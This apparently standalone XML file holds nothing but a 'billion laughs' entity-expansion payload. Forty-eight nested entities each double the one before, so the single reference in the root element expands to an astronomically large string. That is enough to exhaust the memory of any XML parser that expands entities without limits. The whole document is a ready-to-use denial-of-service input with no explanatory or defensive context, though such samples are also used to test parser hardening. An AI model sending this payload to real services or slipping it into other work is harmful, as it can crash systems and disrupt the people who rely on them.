| <!DOCTYPE root [ |
| <!ENTITY ha "Ha !"> |
| <!ENTITY ha2 "&ha; &ha;"> |
| <!ENTITY ha3 "&ha2; &ha2;"> |
| <!ENTITY ha4 "&ha3; &ha3;"> |
| <!ENTITY ha5 "&ha4; &ha4;"> |
| <!ENTITY ha6 "&ha5; &ha5;"> |
| <!ENTITY ha7 "&ha6; &ha6;"> |
| <!ENTITY ha8 "&ha7; &ha7;"> |
| <!ENTITY ha9 "&ha8; &ha8;"> |
| <!ENTITY ha10 "&ha9; &ha9;"> |
| <!ENTITY ha11 "&ha10; &ha10;"> |
| <!ENTITY ha12 "&ha11; &ha11;"> |
| <!ENTITY ha13 "&ha12; &ha12;"> |
| <!ENTITY ha14 "&ha13; &ha13;"> |
| <!ENTITY ha15 "&ha14; &ha14;"> |
| <!ENTITY ha16 "&ha15; &ha15;"> |
| <!ENTITY ha17 "&ha16; &ha16;"> |
| <!ENTITY ha18 "&ha17; &ha17;"> |
| <!ENTITY ha19 "&ha18; &ha18;"> |
| <!ENTITY ha20 "&ha19; &ha19;"> |
| <!ENTITY ha21 "&ha20; &ha20;"> |
| <!ENTITY ha22 "&ha21; &ha21;"> |
| <!ENTITY ha23 "&ha22; &ha22;"> |
| <!ENTITY ha24 "&ha23; &ha23;"> |
| <!ENTITY ha25 "&ha24; &ha24;"> |
| <!ENTITY ha26 "&ha25; &ha25;"> |
| <!ENTITY ha27 "&ha26; &ha26;"> |
| <!ENTITY ha28 "&ha27; &ha27;"> |
| <!ENTITY ha29 "&ha28; &ha28;"> |
| <!ENTITY ha30 "&ha29; &ha29;"> |
| <!ENTITY ha31 "&ha30; &ha30;"> |
| <!ENTITY ha32 "&ha31; &ha31;"> |
| <!ENTITY ha33 "&ha32; &ha32;"> |
| <!ENTITY ha34 "&ha33; &ha33;"> |
| <!ENTITY ha35 "&ha34; &ha34;"> |
| <!ENTITY ha36 "&ha35; &ha35;"> |
| <!ENTITY ha37 "&ha36; &ha36;"> |
| <!ENTITY ha38 "&ha37; &ha37;"> |
| <!ENTITY ha39 "&ha38; &ha38;"> |
| <!ENTITY ha40 "&ha39; &ha39;"> |
| <!ENTITY ha41 "&ha40; &ha40;"> |
| <!ENTITY ha42 "&ha41; &ha41;"> |
| <!ENTITY ha43 "&ha42; &ha42;"> |
| <!ENTITY ha44 "&ha43; &ha43;"> |
| <!ENTITY ha45 "&ha44; &ha44;"> |
| <!ENTITY ha46 "&ha45; &ha45;"> |
| <!ENTITY ha47 "&ha46; &ha46;"> |
| <!ENTITY ha48 "&ha47; &ha47;"> |
| ]> |
| <root>&ha48;</root> |